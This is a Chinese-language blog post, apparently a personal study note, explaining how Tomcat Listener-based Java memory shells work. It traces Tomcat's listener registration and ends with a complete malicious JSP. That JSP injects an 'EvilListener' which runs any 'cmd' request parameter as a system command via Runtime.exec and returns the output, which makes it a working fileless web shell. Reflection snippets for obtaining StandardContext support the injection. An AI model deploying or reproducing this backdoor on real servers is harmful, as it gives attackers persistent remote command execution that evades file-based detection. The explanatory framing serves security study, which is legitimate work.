java内存马学习记录(一)Tomcat Listener内存马

java内存马学习记录(一)

Tomcat Listener内存马

原理

请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Listener是最先被加载的,Listener分以下几种

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

Request类型的Listener触发难度比较低,直接访问就可以,适合注册作为内存马

选择合适的Listener

在Tomcat中引入Listener需要实现两种接口,分别是LifecycleListener和原生EventListener

实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。EvenListener接口应用于各个对象事件的监听,有许多继承它的接口。

为了方便触发,这里关注继承EventListenerServletRequestListener接口,该接口监听ServletRequest对象的创建和销毁。

public interface ServletRequestListener extends EventListener {
	
    /**
     * The request is about to go out of scope of the web application.
     * @param sre Information about the request
     */
    void requestDestroyed (ServletRequestEvent sre);

    /**
     * The request is about to come into scope of the web application.
     * @param sre Information about the request
     */
    void requestInitialized (ServletRequestEvent sre);
}

requestInitialized方法在Request对象创建时被调用,requestDestroyed方法在Request对象销毁时调用。

实际访问任何资源时,都会触发requestInitialized方法,通过自定义实现了ServletRequestListener接口的Listener,可以在requestInitialized方法中加入恶意代码。那么如何添加一个自定义的Listener呢?

引入Listener

自定义一个测试用的Listener

package test;

import javax.servlet.*;


public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestInitialized");
    }
}

web.xml添加

    <listener>
        <listener-class>test.TestListener</listener-class>
    </listener>

requestInitialized处下断点,分析栈帧

requestInitialized:14, TestListener (test)
fireRequestInitEvent:5669, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
......
run:748, Thread (java.lang)

阅读StandardContext#fireRequestInitEvent部分

public boolean fireRequestInitEvent(ServletRequest request) {

    Object instances[] = getApplicationEventListeners();

    if ((instances != null) && (instances.length > 0)) {

        ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);

        for (Object instance : instances) {
            if (instance == null) {
                continue;
            }
            if (!(instance instanceof ServletRequestListener)) {
                continue;
            }
            ServletRequestListener listener = (ServletRequestListener) instance;

            try {
                listener.requestInitialized(event);
            } catch (Throwable t) {
                ExceptionUtils.handleThrowable(t);
                getLogger().error(
                        sm.getString("standardContext.requestListener.requestInit", instance.getClass().getName()),
                        t);
                request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                return false;
            }
        }
    }
    return true;
}

大致逻辑是getApplicationEventListeners()返回了一个Listener实例数组,在for循环内遍历调用。跟进一下,看看是怎么获取实例数组的。

public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

applicationEventListenersListStandardContext的一个私有成员变量,搜索引用该变量的方法:

addApplicationEventListener(Object)
setApplicationEventListeners(Object[])
getApplicationEventListeners()

其中addApplicationEventListener是我们需要的方法,通过它可以向StandardContext注册自定义的Listener。

因此注册一个Listener内存马思路是这样的:

获取StandardContext,调用StandardContext#addApplicationEventListener注册恶意Listener。

获取StandardContext

(1) 通过request获取

这里的request是org.apache.catalina.connector.Request,实现了HttpServletRequest接口,因为jsp本质是servlet,可以直接调用

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

(2)通过WebappClassLoaderBase获取

这里涉及Tomcat的类加载机制,笔者不太了解,只记录方法

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
构造恶意Jsp注入内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    class EvilListener implements ServletRequestListener {
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            //参考网上师傅的回显代码,通过I/O回显命令
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }
        public void requestDestroyed(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    EvilListener evil = new EvilListener();
    context.addApplicationEventListener(evil);
%>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值